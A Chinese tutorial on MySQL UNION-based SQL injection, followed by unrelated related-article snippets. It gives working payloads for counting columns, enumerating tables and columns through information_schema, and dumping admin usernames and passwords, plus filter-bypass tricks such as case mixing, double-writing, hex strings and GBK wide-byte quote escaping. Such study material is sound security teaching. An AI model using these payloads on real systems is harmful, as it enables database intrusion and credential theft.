SQL注入利用学习-Union联合注入

联合注入的原理

在SQL语句中查询数据时,使用select 相关语句与where 条件子句筛选符合条件的记录。

select * from person where id = 1; #在person表中,筛选出id=1的记录

如果该id=1 中的1 是用户可以控制输入的部分时,就有可能存在SQL注入漏洞。

数据库提供联合查询,使得可以将两条SQL查询语句的结果进行连接。务必注意:两者的字段数必须一致。

select * from person where id = 1 union select 1,2,database(),4,5;

判断联合查询语句中的字段数时,可以使用order by num 。当依次增大num时,如果出现错误,那么上 一条SQL查询语句的结果字段数就为num-1。

联合查询利用SQL注入漏洞语句:

(1)执行联合查询

select * from person where id = 1 union select 1,2,3,4,5;

(2)查询数据库名、版本号、用户信息

select * from person where id = 1 union select 1,2,database(),version(),user();

(3)查询数据表名

select * from person where id = 1 union select 1,2,(select table_name from
information_schema.tables where table_schema=database() limit 0,1),4,5;
或
select * from person where id = 1 union select 1,2,(select group_concat(table_name)
from information_schema.tables where table_schema=database()),4,5;

(4)查询字段名

select * from person where id = 1 union select 1,2,(select group_concat(column_name)
from information_schema.columns where table_name='admin'),4,5;
或
select * from person where id = 1 union select 1,2,(select group_concat(column_name)
from information_schema.columns where table_name=0x61646D696E),4,5;

(5)查询具体数据

select * from person where id = 1 union select 1,concat(username,0x5c,password),3,4,5 from admin; 
或select * from person where id = 1 union select 1,concat(username,0x5c,password),3,4,5 from admin limit 0,2;

联合注入不适用情形:

1、union关键字被完全过滤

2、页面中压根不返回查询数据

联合注入过滤绕过技巧:

1、大小写绕过

基础:在Mysql中,大小写字母的含义是一致的。如果在进行过滤提交的数据过程中,没有对大小 进行区分,那么此时就会造成大小写绕过过滤的情况。

以上代码,都只匹配到union,并没有过滤大写字母,因此可以使用 大小写绕过。

2、双写绕过

基础:在使用 preg_replace 函数过程中,默认情况下 只进行一次匹配。因此如果匹配到字符替换 为空的情况 ,就可以造成双写绕过。

以上代码,使用i 表示大小写全部匹配,此时无法使用双写绕过。但是由于preg_replace默认只匹配一次 过滤字符,因此可以使用双写绕过。

3、过滤单引号绕过 十六进制

基础:在Mysql数据库中的SQL语句,对于字符串数据必须使用引号。但是对于字符串来说,Mysql 也识别 字符串中每个字符对应的ASCII码的16进制,此时可以使用 0x16进制替换字符串。从而绕过 引号对字符串的限制。

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是: 单引号(') 双引号(") 反斜杠(\) NULL

该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。

在php.ini配置文件中,开启 magic_quotes_gpc 选项,此时对于数字型注入来说,如果需要进行数 据库中数据获取,需要使用十六进制进行绕过。但是对于字符型注入来说,就需要进行逃逸引号的操 作。

4、宽字节注入原理与利用

基础:如果数据库中存储数据使用 的编码方式是 GBK,那么由于用户输入的内容会进行双字节的 组合,会导致用户输入的字节与反斜杠组合,从而逃逸引号。

宽字节注入可以说是一种逃逸引号的技巧,利用双字节组合导致注入产生。

注意有一种情况下无法使用 联合查询注入利用方式:preg_match('/union/i',$sql), 完全过滤。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/802065.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python爬虫与API交互:如何爬取并解析JSON数据

目录 前言 一、什么是API和JSON数据 二、准备环境 三、发送API请求并获取数据 四、解析JSON数据 五、完整代码示例 六、总结 前言 随着互联网的发展,越来越多的网站提供了API接口,供开发者获取实时数据。在爬虫领域中,与API交互并解析…

Pytorch中nn.Linear使用方法

nn.Linear定义一个神经网络的线性层: torch.nn.Linear(in_features, # 输入的神经元个数out_features, # 输出神经元个数biasTrue # 是否包含偏置)nn.Linear其实就是对输入(n表示样本数量,i表示样本特…

【数据结构与算法】力扣 142. 环形链表 II

题目描述 给定一个链表的头节点 head ,返回链表开始入环的第一个节点。 如果链表无环,则返回 null。 如果链表中有某个节点,可以通过连续跟踪 next 指针再次到达,则链表中存在环。 为了表示给定链表中的环,评测系统…

华为海思校园招聘-芯片-数字 IC 方向 题目分享——第二套

华为海思校园招聘-芯片-数字 IC 方向 题目分享(有参考答案)——第二套(共九套,每套四十个选择题) 部分题目分享,完整版获取(WX:didadidadidida313,加我备注:CSDN huawei…

Git-LFS 远程命令执行漏洞 CVE-2020-27955 漏洞复现

今天遇到了一个比较有意思的洞,复现一下下.......... 漏洞描述 Git LFS 是 Github 开发的一个 Git 的扩展,用于实现 Git 对大文件的支持 一些受影响的产品包括Git,GitHub CLI,GitHub Desktop,Visual Studio&#xff0…

51单片机之自己配串口寄存器实现波特率9600

本配置是根据手册进行开发配置的 1、首先配置SCON 所以综上所诉 SCON 0x40 (0100 0000) 2、PCON不用配置 3、配置定时器1 4、波特率的计算 5、配置AUXR 6、对比 7、实现 8、优化(实现字符串) 引入TI (智能延时&…

对于嵌入式工程师,需要掌握的知识是广还是精?

我刚开始接触嵌入式的时候,感觉学这个好变态啊。 要学的东西太多了,数字电路、模拟电路、C语言、汇编、51单片机、Protel 99SE、Pcb Layout、STM32单片机、RTOS、Linux、ARM等等.... 可以说,随便拿个魔法电路出来,想达到精的程度&…

【C++】C++11可变参数模板

👀樊梓慕:个人主页 🎥个人专栏:《C语言》《数据结构》《蓝桥杯试题》《LeetCode刷题笔记》《实训项目》《C》《Linux》《算法》 🌝每一个不曾起舞的日子,都是对生命的辜负 目录 前言 可变参数模板的定义…

Java绘图坐标体系

一、介绍 下图说明了Java坐标系。坐标原点位于左上角,以像素为单位。在Java坐标系中,第一个是x坐标,表示当前位置为水平方向,距离坐标原点x个像素;第二个是y坐标,表示当前位置为垂直方向,距离坐…

LLM大语言模型(九):LangChain封装自定义的LLM

背景 想基于ChatGLM3-6B用LangChain做LLM应用,需要先了解下LangChain中对LLM的封装。本文以一个hello world的封装来示例。 LangChain中对LLM的封装 继承关系:BaseLanguageModel——》BaseLLM——》LLM LLM类 简化和LLM的交互 _call抽象方法定义 ab…

操作系统理论知识快速总览

操作系统整体架构 搬出考研时的思维导图 操作系统主要分为 批处理系统(老古董,基本不用了)实时操作系统(嵌入式中使用较多,RTOS)分时操作系统(PC中使用较多,Linux,Windows) 分时操作系统和实时操作系统的使用场景不同&#xf…

【蓝桥杯第十二届省赛B】(部分详解)

空间 8位1b 1kb1024b(2^10) 1mb1024kb(2^20) 时间显示 #include <iostream> using LLlong long; using namespace std; int main() {LL t;cin>>t;int HH,MM,SS;t/1000;SSt%60;//like370000ms370s,最后360转成分余下10st/60;MMt%60;t/60;HHt%24;printf("%02d:…

[C语言]——动态内存管理

目录 一.为什么要有动态内存分配 二.malloc和free 1.malloc 2.free 三.calloc和realloc 1.calloc 2.realloc 3.空间的释放​编辑 四.常见的动态内存的错误 1.对NULL指针的解引用操作 2.对动态开辟空间的越界访问 3.对非动态开辟内存使用free释放 4.使用free释放⼀块…

外汇110:谷歌起诉应用程序开发商伪造加密投资APP诈骗!

谷歌&#xff08;Google&#xff09;已对两家应用程序开发商提起诉讼&#xff0c;指控其参与“国际在线消费者投资欺诈计划”。该计划欺骗用户从 Google Play 商店和其他渠道下载虚假的安卓&#xff08;Android&#xff09;应用程序&#xff0c;并以承诺更高回报为幌子窃取他们…

SinoDB用户权限

SinoDB用户权限是由数据库对象和操作类型两个要素组成的&#xff0c;定义一个用户的权限就是定义这个用户可以对哪些数据对象进行哪些类型的操作。 SinoDB使用了三级权限来保证数据的安全性&#xff0c;它们分别是数据库级权限&#xff0c;表级权限和字段级权限。 1. 数据库级…

备考ICA----Istio实验17---TCP流量授权

备考ICA----Istio实验17—TCP流量授权 1. 环境准备 1.1 环境部署 kubectl apply -f <(istioctl kube-inject -f istio/samples/tcp-echo/tcp-echo.yaml) -n kim kubectl apply -f <(istioctl kube-inject -f istio/samples/sleep/sleep.yaml) -n kim1.2 测试环境 检测…

LangChain-14 Moderation OpenAI提供的功能:检测内容中是否有违反条例的内容

背景描述 我们在调用OpenAI的接口时&#xff0c;有些内容可能是违反条例的&#xff0c;所以官方提供了一个工具来检测。 安装依赖 pip install --upgrade --quiet langchain-core langchain langchain-openai编写代码 下文中我们使用了: OpenAIModerationChain 这个工具来…

PHP运算符与流程控制

华子目录 运算符赋值运算符算术运算符比较运算符逻辑运算符连接运算符错误抑制符三目运算符自操作运算符 计算机码位运算符 运算符优先级流程控制控制分类顺序结构分支结构if分支switch分支 循环结构for循环while循环continuebreak 运算符 运算符&#xff1a;operator&#xf…

JNA、JNI、原生C++函数调用效率及测试过程

结论 如果JAVA要高效调用C函数&#xff0c;则需要通过JNI封装C函数后进行native方法调用&#xff0c;JNI的执行效率比JNA高600倍左右。从开发效率上来说&#xff0c;JNA开发速度比JNI快许多&#xff0c;因为不需要做二次封装 测试对比 纯C调用&#xff1a; Function call to…

深入了解iOS内存(WWDC 2018)笔记-内存诊断

主要记录下用于分析iOS/macOS 内存问题的笔记。 主要分析命令&#xff1a; vmmap, leaks, malloc_history 一&#xff1a;前言 有 3 种思考方式 你想看到对象的创建吗&#xff1f;你想要查看内存中引用对象或地址的内容吗&#xff1f;或者你只是想看看 一个实例有多大&#…